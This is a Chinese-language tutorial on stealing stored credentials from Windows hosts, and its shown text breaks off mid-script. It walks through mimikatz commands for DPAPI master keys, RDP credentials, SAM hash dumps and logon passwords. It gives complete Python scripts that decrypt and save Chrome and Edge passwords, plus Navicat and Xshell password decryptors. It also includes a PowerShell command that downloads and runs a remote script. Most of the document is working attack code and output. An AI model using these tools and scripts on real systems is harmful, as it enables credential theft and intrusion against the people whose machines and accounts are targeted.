Windows本地密码抓取

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系统密码

DPAPI解密

使用用户登录密码解密Master Key file，获得Master Key

固定位置： %APPDATA%\Microsoft\Protect%SID%下往往有多个Master Key file

这是为了安全起见，系统每隔90天会自动生成一个新的Master Key(旧的不会删除)%APPDATA%\Microsoft\Protect%SID%下存在一个固定文件Preferred，包含最后一个Master Key file的名称和创建时间，文件结构如下：

plaintext

typedef struct _tagPreferredMasterKey
{
  GUID guidMasterKey;
  FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

完整的流程：

plaintext

1
2
3

找到本机的Master Key file
从Master Key file中获取到Master Key
通过Master Key解密DPAPI blob获得明文

本地保存RDP密码

首先需要打开隐藏受保护的操作系统文件，不打开的话就算打开了显示隐藏的文件、文件夹和驱动器也是看不到的

接着打开文件C:\Users\用户名\AppData\Local\Microsoft\Credentials就可以看到保存的数据了

使用cmdkey /line命令可以查看本地保存了哪些密码，如果你连过其他服务器如果点击了保存密码就能抓取到

使用🥝读取

plaintext

1	dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSIONID

获取到guidMasterKey其实就是我们的master key file名称

切记一点不同的SESSIONID如果间隔时间超过90天那么对应的guidMasterKey也是不同的

通过命令获取到Master Key file的Master Key，下文中GUID==Master Key file，MasterKey==Master Key

plaintext

EeLrXMiD # sekurlsa::dpapi

Authentication Id : 0 ; 229076 (00000000:00037ed4)
Session           : Interactive from 1
User Name         : ascotbe
Domain            : 樱岛麻衣
Logon Server      : 樱岛麻衣
Logon Time        : 2021/6/7 9:37:53
SID               : S-1-5-21-1645164750-2672341361-3879437546-1000
         [00000000]
         * GUID      :  {d3fcdbfb-06bd-49f0-98b4-ac08664c176a}
         * Time      :  2021/6/7 9:37:59
         * MasterKey :  7da666987b2b6a51db3148cd01a6fe460a79315d1678a24b327d251c4f9138eecbb7ca4919de8de678628963761ee731a1316b78a6a982d0d4a9c590f5171c9e
         * sha1(key) :  efd1c9d7290d13b3ecc1e288accfc5d6707d3403
         [00000001]
         * GUID      :  {33449413-8697-4a85-a075-778b49015fbe}
         * Time      :  2021/6/8 17:17:37
         * MasterKey :  0ac77f164c38e751f303e26d883cd15e3eb3861f2d69c2ba192035511bfc8f2880f206ef238de4d282384c813326feeaef364b9089c86a97a5169f31dbd319ee
         * sha1(key) :  f45701db86a93d9b860be725d7eaf32a9a684a77
         [00000002]
         * GUID      :  {788f0828-1d1e-478d-adf6-7a37e92182e8}
         * Time      :  2021/6/7 18:01:08
         * MasterKey :  6a9ece2f3bd683c2ac14c69e13465399e9ce20c2930dd51dd9378eed800b06b409f7f4bef926e503d85a0b9e5e1f4cc5ccd01fb2ddaa8de90d086bf3a8ae3bf3
         * sha1(key) :  f2d6c58b2d2f0a91e07dc0d1cb7db7cb8935f955

只需要使用SESSIONID对应的GUID和MasterKey就能解密数据了

dpapi::cred /in:C:\Users\ascotbe\AppData\Local\Microsoft\Credentials\SESSION /masterkey:对应的GUID MasterKey

TargetName是目标机器，UserName是账号，CredentialBlob是密码

本机密码

通过注册列表抓取密码

首先需要管理员权限，抓取注册列表中保存的哈希

plaintext

1 2	reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAM

然后通过🥝进行解密

plaintext

1	lsadump::sam /sam:SAM /system:SYSTEM

解密后的数据

plaintext

Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

尝试新的跨平台 PowerShell https://aka.ms/pscore6

PS C:\Users\ascotbe> cd .\Desktop\
PS C:\Users\ascotbe\Desktop> reg save HKLM\SYSTEM SYSTEM
操作成功完成。
PS C:\Users\ascotbe\Desktop> reg save HKLM\SAM SAM
操作成功完成。
PS C:\Users\ascotbe\Desktop> .\x64.exe

  .#####.   EeLrXMiD 2.2.0 (x64) #19041 Oct 10 2020 14:46:27
 .## ^ ##.  "e2G6OxuvUXNR1'Amour" - (IcaHL)
 ## / \ ##  /*** ST1KQSnf huXMA `gVhmWw70VD` ( NceCVtrwTckaqiPu3XOVsQl )
 ## \ / ##       > https://blog.gVhmWw70VD.com/EeLrXMiD
 '## v ##'       Hp6bmVPNVLO9i7B             ( FiLGZos4eo99IXHOADBc44Ir )
  '#####'        > https://ljrq4GxgPj6NY7 / https://A35s5WaTWwdjV2m6 ***/

EeLrXMiD # privilege::debug
Privilege '20' OK

EeLrXMiD # lsadump::sam /sam:SAM /system:SYSTEM
Domain : 樱岛麻衣
SysKey : 42939b566ede597c3284d1bd23b15a97
Local SID : S-1-5-21-1645164750-2672341361-3879437546

SAMKey : b58a3643feb8148887485d5b702aaf3f

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 900fff43b7507160b3e239892c034c22

* Primary:Kerberos-Newer-Keys *
    Default Salt : ASCOTBE1B49Administrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 8185175d7c176c6decf21cbfbde54df0a4b86cca948bb660091d2a873073b26b
      aes128_hmac       (4096) : ce32484a789bb52f0e43fa09ddac2bf0
      des_cbc_md5       (4096) : f8f7ad86cd6e9840

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : ASCOTBE1B49Administrator
    Credentials
      des_cbc_md5       : f8f7ad86cd6e9840


RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 4c5c287f286dce27cdd13c6b221979df

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 38ab6a222bbf783640bdcbb714227d57

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c60e0605a0f960188d252efb376231de1e1fb3c2fbfd66cbc4a528d364a37bfc
      aes128_hmac       (4096) : fb6b091efaa644e306673fcd565ce4f4
      des_cbc_md5       (4096) : a1648949c202689e

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : a1648949c202689e


RID  : 000003e8 (1000)
User : ascotbe
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 42d6e016527f7bce204d94cc40baa99a

* Primary:Kerberos-Newer-Keys *
    Default Salt : ASCOTBE1B49ascotbe
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 35c0a798a120c3b112bcdb7636b8dd3e3b12284c0e85a5b1c93bfbe9c4b83c02
      aes128_hmac       (4096) : 12a06f6bb5ff719a314ddfe96c83c69e
      des_cbc_md5       (4096) : fdd661fe76542cdf

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : ASCOTBE1B49ascotbe
    Credentials
      des_cbc_md5       : fdd661fe76542cdf


EeLrXMiD #

我们只需要查看最后一个ascotbe（我本机这个是管理员用户）这个账户的Hash NTLM即可知道本机密码了，通过网站解密

通过mimikatz抓取密码

需要管理员权限执行

plaintext

1 2	privilege::debug sekurlsa::logonpasswords

即可得出密码

plaintext

EeLrXMiD # sekurlsa::logonpasswords

Authentication Id : 0 ; 229076 (00000000:00037ed4)
Session           : Interactive from 1
User Name         : ascotbe
Domain            : 樱岛麻衣
Logon Server      : 樱岛麻衣
Logon Time        : 2021/6/7 9:37:53
SID               : S-1-5-21-1645164750-2672341361-3879437546-1000
        mSv :
         [00000003] Primary
         * Username : ascotbe
         * Domain   : 樱岛麻衣
         * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
         * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
        tsPkG :
         * Username : ascotbe
         * Domain   : (null)
         * Password : (null)
        wDiGeST :
         * Username : ascotbe
         * Domain   : (null)
         * Password : (null)
        kErberoS :
         * Username : ascotbe
         * Domain   : (null)
         * Password : (null)
        sSp :
        crEdMan :
        clOuDAp :

浏览器密码

Chrome浏览器数据

Chrome的配置文件存放在%LocalAppData%目录下。如果有两个Google Chrome账号那么每个账号会有不同的配置文件

plaintext

1
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C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default （第一个配置文件的名称）
C:\Users\admin\AppData\Local\Google\Chrome\User Data\Profile 2 （后续的配置文件以迭代数字方式命名）

目录中的Login Data是SQLite 3数据库文件，里面存放了各种网站和账号等信息。

我们只需要关注logins这张表即可

plaintext

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origin_url:登录网址
username_value:用户名
password_value:被加密的用户密码

chrome version 80（80.0.3987.163） 版本前

chrome80以前的版本是直接可以通过DPAPI中的解密函数 CryptUnprotectData来进行解密的。

测试版本：chrome 79.0.3945.88

A用户解A的chrome密码

直接使用命令即可解密出

plaintext

1	dpapi::chrome /in:"C:\Users\ascotbe\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

也可以直接使用脚本

python

# !/usr/bin/python3
import os
import  shutil
import  sqlite3
#pip install pywin32
import  win32crypt
import json

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'


class ChromePassword:
    def __init__(self):
        self.passwordList = []

    def get_chrome_db(self):
        _full_path = os.path.join(APP_DATA_PATH,DB_PATH)
        _temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path,_temp_path)
        self.show_password(_temp_path)

    def show_password(self,db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            ret = win32crypt.CryptUnprotectData(row[2],None,None,None,0)
            #密码解析后得到字节码，需要进行解码操作
            _info = 'url:%-40s username:%-20s password:%s\n' %\
                    (row[0][:50],row[1],ret[1].decode())
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def save_passwords(self):
        with open('password.txt','w',encoding='utf-8') as f:
            f.writelines(self.passwordList)




if __name__=="__main__":
    Main = ChromePassword()
    Main.get_chrome_db()
    Main.save_passwords()

B用户解A的chrome密码

首先我们需要获取到A用户的MasterKey值，就可以解密了

plaintext

1	dpapi::chrome /in:"C:\Users\ascotbe\Desktop\Login Data" /unprotect /masterkey:831d02bf734632f7aaa7719f5ec593111997c9aeefabe71ac4e4a963de546784662fcec40722a4656870698cff96c348a37d6691

chrome version 80 （80.0.3987.163）版本后
利用主密钥使用AES-GCM加密算法加密密码存放Login Data数据库，然后用DPAPI的加密函数CryptProtectData加密主密钥存放在Local State文件。其中Local State文件存放在如下地址（假设windows用户为admin），本质是个json文件，其中一个值os_crypt下的encrypted_key是解密需要用的被加密后的密钥。

解密流程

获取local state和Login Data文件位置
获取local state中加密的key(base64编码)
数据库语句提取Login Data sqllite文件的password_value
DPAPI解密加密key
ase-gcm解密password_value

脚本如下

python

# !/usr/bin/python3
import os
import sys
import  shutil
import  sqlite3
import  win32crypt
import json,base64

import os
import sys

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (
    Cipher, algorithms, modes
)

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'



NONCE_BYTE_SIZE = 12

def encrypt(cipher, plaintext, nonce):
    cipher.mode = modes.GCM(nonce)
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return (cipher, ciphertext, nonce)

def decrypt(cipher, ciphertext, nonce):
    cipher.mode = modes.GCM(nonce)
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)

def get_cipher(key):
    cipher = Cipher(
        algorithms.AES(key),
        None,
        backend=default_backend()
    )
    return cipher

def dpapi_decrypt(encrypted):
    import ctypes
    import ctypes.wintypes

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
                    ('pbData', ctypes.POINTER(ctypes.c_char))]

    p = ctypes.create_string_buffer(encrypted, len(encrypted))
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
    blobout = DATA_BLOB()
    retval = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
    if not retval:
        raise ctypes.WinError()
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
    return result

def unix_decrypt(encrypted):
    if sys.platform.startswith('linux'):
        password = 'peanuts'
        iterations = 1
    else:
        raise NotImplementedError

    from Crypto.Cipher import AES
    from Crypto.Protocol.KDF import PBKDF2

    salt = 'saltysalt'
    iv = ' ' * 16
    length = 16
    key = PBKDF2(password, salt, length, iterations)
    cipher = AES.new(key, AES.MODE_CBC, IV=iv)
    decrypted = cipher.decrypt(encrypted[3:])
    return decrypted[:-ord(decrypted[-1])]

def get_key_from_local_state():
    jsn = None
    with open(os.path.join(os.environ['LOCALAPPDATA'],
        r"Google\Chrome\User Data\Local State"),encoding='utf-8',mode ="r") as f:
        jsn = json.loads(str(f.readline()))
    return jsn["os_crypt"]["encrypted_key"]

def aes_decrypt(encrypted_txt):
    encoded_key = get_key_from_local_state()
    encrypted_key = base64.b64decode(encoded_key.encode())
    encrypted_key = encrypted_key[5:]
    key = dpapi_decrypt(encrypted_key)
    nonce = encrypted_txt[3:15]
    cipher = get_cipher(key)
    return decrypt(cipher,encrypted_txt[15:],nonce)

class ChromePassword:
    def __init__(self):
        self.passwordList = []

    def get_chrome_db(self):
        _full_path = os.path.join(APP_DATA_PATH,DB_PATH)
        _temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path,_temp_path)
        self.show_password(_temp_path)

    def show_password(self,db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            # print(type(row[2]))
            host = row[0]
            if host.startswith('android'):
                continue
            name = row[1]
            value = self.chrome_decrypt(row[2])######加密方式改變后的重點位置
            #密码解析后得到字节码，需要进行解码操作
            _info = 'url:%-40s username:%-20s password:%s\n' %(host,name,value)
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def chrome_decrypt(self,encrypted_txt):
        if sys.platform == 'win32':
            try:
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                    decrypted_txt = dpapi_decrypt(encrypted_txt)
                    return decrypted_txt.decode()
                elif encrypted_txt[:3] == b'v10':
                    decrypted_txt = aes_decrypt(encrypted_txt)
                    return decrypted_txt[:-16].decode()
            except WindowsError:
                return None
        else:
            try:
                return unix_decrypt(encrypted_txt)
            except NotImplementedError:
                return None

    def save_passwords(self):
        with open('password.txt','w',encoding='utf-8') as f:
            f.writelines(self.passwordList)



if __name__=="__main__":
    Main = ChromePassword()
    Main.get_chrome_db()
    Main.save_passwords()

Firefox浏览器数据

所有的密码保存位置在%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default(xxxxxxxx为8位随机字母和数字的组合)

不同版本的Firefox保存记录的文件名称不同，具体区别如下：

Version大于等于32.0，保存记录的文件为logins.json

Version大于等于3.5，小于32.0，保存记录的文件为signons.sqlite

不同版本的Firefox密钥文件的位置不同，具体区别如下：

Version小于58.0.2，密钥文件为key3.db

Version大于等于58.0.2，密钥文件为key4.db

默认情况下，当前用户的权限可以查看Firefox浏览器中保存的所有密码，为了提高安全性，Firefox浏览器支持为保存的密码添加额外的保护：设置Master Password。

添加Master Password后，查看保存的密码需要额外输入Master Password。

解密流程：

读取密钥文件(key4.db或key3.db)，获得key和iv

读取记录文件(logins.json或signons.sqlite)的内容

如果未设置Master Password，使用key和iv对记录文件中的加密内容进行3DES-CBC解密。如果设置Master Password，还需要获得明文形式的Master Password，才能进行解密

未设置Master Password解密

WebBrowserPassView：官方下载

plaintext

1	.\WebBrowserPassView.exe /LoadPasswordsFirefox 1 /shtml "C:\Users\ascotbe\Desktop\passwords.html"

还能把谷歌最新版本的秘钥给解密了

设置Master Password解密

firefox_decrypt：官方下载

解密需要获取到用户设置的Master Password才行，解密工具别使用1.0版本，问题很多

IE 浏览器数据

首先需要打开浏览器的记住密码功能：工具->Internet 选项->内容->自动完成->勾选表单上的用户名和密码

远程下载执行（需要开启PS可执行）

直接使用命令，目前GitHub国内无法访问，推荐使用自己服务器存放脚本或者使用第三方源

plaintext

1	powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/2K75g15')"

本地执行（需要开启PS可执行）

直接把PS1文件放到目标机器上，执行就好了

bash

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[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select username,resource,password

落地文件执行

IE PassView：官方下载

直接把文件双击即可看到密码

Edge浏览器数据

由于微软就套了一层壳，加密方式完全没有修改，值修改了数据保存的路径，所以我们修改上面Chrome的脚本即可获取成功

plaintext

#数据库路径
C:\Users\ascotbe\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
#秘钥路径
C:\Users\ascotbe\AppData\Local\Microsoft\Edge\User Data\Local State

脚本修改如下

python

# !/usr/bin/python3
import os
import sys
import  shutil
import  sqlite3
import  win32crypt
import json,base64

import os
import sys

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (
    Cipher, algorithms, modes
)

APP_DATA_PATH= os.environ['LOCALAPPDATA']
DB_PATH = r'Microsoft\Edge\User Data\Default\Login Data'



NONCE_BYTE_SIZE = 12

def encrypt(cipher, plaintext, nonce):
    cipher.mode = modes.GCM(nonce)
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return (cipher, ciphertext, nonce)

def decrypt(cipher, ciphertext, nonce):
    cipher.mode = modes.GCM(nonce)
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)

def get_cipher(key):
    cipher = Cipher(
        algorithms.AES(key),
        None,
        backend=default_backend()
    )
    return cipher

def dpapi_decrypt(encrypted):
    import ctypes
    import ctypes.wintypes

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
                    ('pbData', ctypes.POINTER(ctypes.c_char))]

    p = ctypes.create_string_buffer(encrypted, len(encrypted))
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
    blobout = DATA_BLOB()
    retval = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
    if not retval:
        raise ctypes.WinError()
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
    return result

def unix_decrypt(encrypted):
    if sys.platform.startswith('linux'):
        password = 'peanuts'
        iterations = 1
    else:
        raise NotImplementedError

    from Crypto.Cipher import AES
    from Crypto.Protocol.KDF import PBKDF2

    salt = 'saltysalt'
    iv = ' ' * 16
    length = 16
    key = PBKDF2(password, salt, length, iterations)
    cipher = AES.new(key, AES.MODE_CBC, IV=iv)
    decrypted = cipher.decrypt(encrypted[3:])
    return decrypted[:-ord(decrypted[-1])]

def get_key_from_local_state():
    jsn = None
    with open(os.path.join(os.environ['LOCALAPPDATA'],
        r"Microsoft\Edge\User Data\Local State"),encoding='utf-8',mode ="r") as f:
        jsn = json.loads(str(f.readline()))
    return jsn["os_crypt"]["encrypted_key"]

def aes_decrypt(encrypted_txt):
    encoded_key = get_key_from_local_state()
    encrypted_key = base64.b64decode(encoded_key.encode())
    encrypted_key = encrypted_key[5:]
    key = dpapi_decrypt(encrypted_key)
    nonce = encrypted_txt[3:15]
    cipher = get_cipher(key)
    return decrypt(cipher,encrypted_txt[15:],nonce)

class ChromePassword:
    def __init__(self):
        self.passwordList = []

    def get_chrome_db(self):
        _full_path = os.path.join(APP_DATA_PATH,DB_PATH)
        _temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path,_temp_path)
        self.show_password(_temp_path)

    def show_password(self,db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            # print(type(row[2]))
            host = row[0]
            if host.startswith('android'):
                continue
            name = row[1]
            value = self.chrome_decrypt(row[2])######加密方式改變后的重點位置
            #密码解析后得到字节码，需要进行解码操作
            _info = 'url:%-40s username:%-20s password:%s\n' %(host,name,value)
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def chrome_decrypt(self,encrypted_txt):
        if sys.platform == 'win32':
            try:
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                    decrypted_txt = dpapi_decrypt(encrypted_txt)
                    return decrypted_txt.decode()
                elif encrypted_txt[:3] == b'v10':
                    decrypted_txt = aes_decrypt(encrypted_txt)
                    return decrypted_txt[:-16].decode()
            except WindowsError:
                return None
        else:
            try:
                return unix_decrypt(encrypted_txt)
            except NotImplementedError:
                return None

    def save_passwords(self):
        with open('password.txt','w',encoding='utf-8') as f:
            f.writelines(self.passwordList)



if __name__=="__main__":
    Main = ChromePassword()
    Main.get_chrome_db()
    Main.save_passwords()

数据库密码

Navicat密码

目前测试只能解密11和12两个版本，其他版本未测试

数据库类型 - 注册表路径
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers
-MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers
-MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers
-Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers
-Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers
-PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers
-SQLite HKEY_CURRENT_USER\Software\PremiumSoft\Navicat-SQLite\Servers
能RDP连接到机器

当前已Mysql作为测试样例，通过注册列表中查看，位置如下
\HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers

接着把加密的密码复制出来进行解密，脚本如下，如果本机没有PHP环境可以使用在线网站

php

<?php
 
namespace FatSmallTools;
 
class NavicatPassword
{
    protected $version = 0;
    protected $aesKey = 'libcckeylibcckey';
    protected $aesIv = 'libcciv libcciv ';
    protected $blowString = '3DC5CA39';
    protected $blowKey = null;
    protected $blowIv = null;
    
    public function __construct($version = 12)
    {
        $this->version = $version;
        $this->blowKey = sha1('3DC5CA39', true);
        $this->blowIv = hex2bin('d9c7c3c8870d64bd');
    }
    
    public function encrypt($string)
    {
        $result = FALSE;
        switch ($this->version) {
            case 11:
                $result = $this->encryptEleven($string);
                break;
            case 12:
                $result = $this->encryptTwelve($string);
                break;
            default:
                break;
        }
        
        return $result;
    }
    
    protected function encryptEleven($string)
    {
        $round = intval(floor(strlen($string) / 8));
        $leftLength = strlen($string) % 8;
        $result = '';
        $currentVector = $this->blowIv;
        
        for ($i = 0; $i < $round; $i++) {
            $temp = $this->encryptBlock($this->xorBytes(substr($string, 8 * $i, 8), $currentVector));
            $currentVector = $this->xorBytes($currentVector, $temp);
            $result .= $temp;
        }
        
        if ($leftLength) {
            $currentVector = $this->encryptBlock($currentVector);
            $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
        }
        
        return strtoupper(bin2hex($result));
    }
    
    protected function encryptBlock($block)
    {
        return openssl_encrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); 
    }
    
    protected function decryptBlock($block)
    {
        return openssl_decrypt($block, 'BF-ECB', $this->blowKey, OPENSSL_RAW_DATA|OPENSSL_NO_PADDING); 
    }
    
    protected function xorBytes($str1, $str2)
    {
        $result = '';
        for ($i = 0; $i < strlen($str1); $i++) {
            $result .= chr(ord($str1[$i]) ^ ord($str2[$i]));
        }
        
        return $result;
    }
    
    protected function encryptTwelve($string)
    {
        $result = openssl_encrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
        return strtoupper(bin2hex($result));
    }
    
    public function decrypt($string)
    {
        $result = FALSE;
        switch ($this->version) {
            case 11:
                $result = $this->decryptEleven($string);
                break;
            case 12:
                $result = $this->decryptTwelve($string);
                break;
            default:
                break;
        }
        
        return $result;
    }
    
    protected function decryptEleven($upperString)
    {
        $string = hex2bin(strtolower($upperString));
        
        $round = intval(floor(strlen($string) / 8));
        $leftLength = strlen($string) % 8;
        $result = '';
        $currentVector = $this->blowIv;
        
        for ($i = 0; $i < $round; $i++) {
            $encryptedBlock = substr($string, 8 * $i, 8);
            $temp = $this->xorBytes($this->decryptBlock($encryptedBlock), $currentVector);
            $currentVector = $this->xorBytes($currentVector, $encryptedBlock);
            $result .= $temp;
        }
        
        if ($leftLength) {
            $currentVector = $this->encryptBlock($currentVector);
            $result .= $this->xorBytes(substr($string, 8 * $i, $leftLength), $currentVector);
        }
        
        return $result;
    }
    
    protected function decryptTwelve($upperString)
    {
        $string = hex2bin(strtolower($upperString));
        return openssl_decrypt($string, 'AES-128-CBC', $this->aesKey, OPENSSL_RAW_DATA, $this->aesIv);
    }
}
 
use FatSmallTools\NavicatPassword;
 
//需要指定版本，11或12
$navicatPassword = new NavicatPassword(11);
//填上你的加密的密码
$decode = $navicatPassword->decrypt('EF176B08C2D7735DB81C');
echo $decode."\n";

不能RDP连接到机器

使用命令来保存注册列表的值

plaintext

1	reg export HKCU\SOFTWARE\PremiumSoft\Navicat\Servers navicat

提取出来的内容如下，解密方式和上面一样

plaintext

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers]

[HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\test]
"ConnType"="ctMYSQL"
"ConnTypeOra"="ctoBasic"
"TNS"=""
"DatabaseFileName"=""
"Host"="127.0.0.1"
"Port"=dword:00000cea
"InitialDatabase"=""
"OraServiceNameType"="snServiceName"
"MSSQLAuthenMode"="mamSQLServer"
"UserName"="root"
"Pwd"="EF176B08C2D7735DB81C"
"AskPassword"="false"
"Codepage"=dword:0000fde9
"OraRole"="orDefault"
"OraOSAuthentication"=dword:00000000
"AutoConnect"=dword:00000000
"QuerySavePath"="C:\\Users\\ascotbe\\Documents\\Navicat\\MySQL\\servers\\test"
"UseCompression"=dword:00000000
"UseCharacterSet"=dword:00000001
"UsePingInterval"=dword:00000000
"PingInterval"=dword:000000f0
"UseNamedPipe"=dword:00000000
"NamedPipeSocket"="/tmp/mysql.sock"
"SQLiteEncrypted"=dword:00000000
"UseEncryption"=dword:00000000
"UseAdvSettings"="false"
"UseSSL"=dword:00000000
"UseSSLAuthen"=dword:00000000
"PGSSLMode"="smRequire"
"ClientKey"=""
"ClientCert"=""
"CACert"=""
"VerifyCACert"=dword:00000000
"Cipher"=""
"PGSSLCRL"=""
"UseSSH"=dword:00000000
"SSH_Host"=""
"SSH_Port"=dword:00000016
"SSH_UserName"=""
"SSH_AuthenMethod"="saPassword"
"SSH_SavePassword"=dword:00000000
"SSH_PrivateKey"=""
"SSH_SavePassphrase"=dword:00000000
"UseHTTP"=dword:00000000
"HTTP_URL"=""
"HTTP_EncodeBase64"=dword:00000000
"HTTP_Authen"=dword:00000000
"HTTP_Username"=""
"HttpSavePassword"=dword:00000000
"HTTP_CertAuth"=dword:00000000
"HTTP_ClientKey"=""
"HTTP_ClientCert"=""
"HTTP_CACert"=""
"HTTP_Passphrase"=""
"HTTP_Proxy"=dword:00000000
"HTTP_ProxyHost"=""
"HTTP_ProxyPort"=dword:00000000
"HTTP_ProxyUsername"=""
"HttpProxySavePassword"=dword:00000000
"NSYID"=""
"NSYHash"=""
"NSYNavicatID"=""
"NSYDirtyFlag"=dword:00000000
"AskForSavePassword"=dword:00000000

SSH密码

Xshell密码

默认保存路径

plaintext

版本 	路径
Xshell 5 	%userprofile%\Documents\NetSarang\Xshell\Sessions
Xshell 6 	%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
Xshell 7 	%userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions

关于xshell加密方式可以查看这篇文章

Xshell 5&Xshell 6

首先需获取到用户的SID值

plaintext

PS C:\Users\ascotbe> whoami /user

用户信息
----------------

用户名           SID
================ ==============================================
樱岛麻衣\ascotbe S-1-5-21-1645164750-2672341361-3879437546-1000

然后使用脚本解密

plaintext

1	python .\xshell.py -s username+sid -p "文件路径"

脚本代码如下

python

#!/usr/bin/env python3
import os
import argparse
import base64
import configparser
#pip install pycryptodome
#pip install pywin32
from win32api import GetComputerName, GetUserName
from win32security import LookupAccountName, ConvertSidToStringSid
from Crypto.Hash import SHA256
from Crypto.Cipher import ARC4


def decrypt_string(a1, a2):
    v1 = base64.b64decode(a2)
    v3 = ARC4.new(SHA256.new(a1.encode('ascii')).digest()).decrypt(v1[:len(v1) - 0x20])
    if SHA256.new(v3).digest() == v1[-32:]:
        return v3.decode('ascii')
    else:
        return None


parser = argparse.ArgumentParser(description="xsh, xfp password decrypt")
parser.add_argument("-s", "--sid", default="", type=str, help="`username`+`sid`, user `whoami /user` in command.")
parser.add_argument("-p", "--password", default="", type=str, help="the password in sessions or path of sessions")
args = parser.parse_args()
if not args.sid:
    args.sid = GetUserName() + ConvertSidToStringSid(LookupAccountName(GetComputerName(), GetUserName())[0])
if not args.password:
    args.password = os.path.join(os.environ["USERPROFILE"], r"Documents\NetSarang Computer\6")

if not os.path.isdir(args.password):
    r = decrypt_string(args.sid, args.password)
    if r:
        print(r)

for root, dirs, files in os.walk(args.password):
    for f in files:
        if f.endswith(".xsh") or f.endswith(".xfp"):
            filepath = os.path.join(root, f)
            cfg = configparser.ConfigParser()
            try:
                cfg.read(filepath)
